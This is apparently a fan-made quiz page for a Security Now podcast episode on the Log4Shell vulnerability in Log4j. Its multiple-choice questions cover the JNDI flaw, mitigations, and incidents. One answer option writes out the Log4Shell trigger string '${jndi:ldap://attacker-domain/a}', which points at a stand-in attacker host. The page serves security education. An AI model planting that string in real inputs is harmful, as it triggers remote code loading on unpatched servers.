Light

Episode #849 Quiz

Log4j & Log4Shell
Date: 2021-12-14 | Length: 1.5 hrs | Episode page at twit.tv

About this episode

The episode explains Log4Shell, CVE-2021-44228, a CVSS 10.0 remote-code-execution flaw in Log4j 2’s JNDI lookup feature. Malicious strings in logged input trigger LDAP/DNS lookups, fetching attacker code or secrets. Mitigation requires upgrading to Log4j 2.15.0, disabling lookups, and testing exposure with benign probes.

Your name and email are stored only in your browser local storage for convenience. They are not retained server-side.

NameEmail

Question 1: According to the episode, what was the core mistake in Log4j’s JNDI support that made Log4Shell possible?

Question 1

According to the episode, what was the core mistake in Log4j’s JNDI support that made Log4Shell possible?

It allowed only local file lookups and blocked all network access by default It required explicit administrator approval before every lookup was performed It truncated log messages before they could be written to disk It allowed unrestricted name resolution to unsafe protocols and remote code execution

Question 2: Which input pattern did Microsoft cite as a common way attackers triggered Log4Shell in logs?

Question 2

Which input pattern did Microsoft cite as a common way attackers triggered Log4Shell in logs?

A string containing <script src="https://attacker-domain/a"> A string containing %systemroot%\attacker-domain\a A string containing ssh://attacker-domain/a inside a username field A string containing ${jndi:ldap://attacker-domain/a}

Question 3: How did the Quebec government respond to the Log4j threat before it knew which systems were affected?

Question 3

How did the Quebec government respond to the Log4j threat before it knew which systems were affected?

It shut down almost 4,000 government websites as a precaution It patched all government websites in place before restoring access It isolated only the vaccine passport system until the review was complete It disabled public DNS resolution across the province until disclosure was complete

Question 4: What did the Huntress Log4Shell testing page do when a vulnerable application made the test lookup?

Question 4

What did the Huntress Log4Shell testing page do when a vulnerable application made the test lookup?

It forwarded the lookup to a public exploit server for follow-on delivery It immediately terminated the LDAP connection and logged it briefly It executed the supplied payload in a sandbox and returned the result It wrote a permanent record of the connecting user’s password and session token

Question 5: Which combination of WordPress changes did the attackers use after exploiting the vulnerable plugins and themes?

Question 5

Which combination of WordPress changes did the attackers use after exploiting the vulnerable plugins and themes?

They disabled comments and set the default timezone to UTC They changed the permalink structure and forced password resets They removed all plugins and themes before inserting a backdoor account They enabled user registration and set the default role to administrator

Cancel

My Data//Security & Privacy//Clear Local Data

© 2026 Ken ArmstrongSecurity Now™ is a trademark of TWiT LLC. All trademarks and copyrights of the Security Now podcast are respected and reserved to their respective holders.
This is a hobby project made with love and admiration for what Steve Gibson and Leo Laporte have built over 20 years.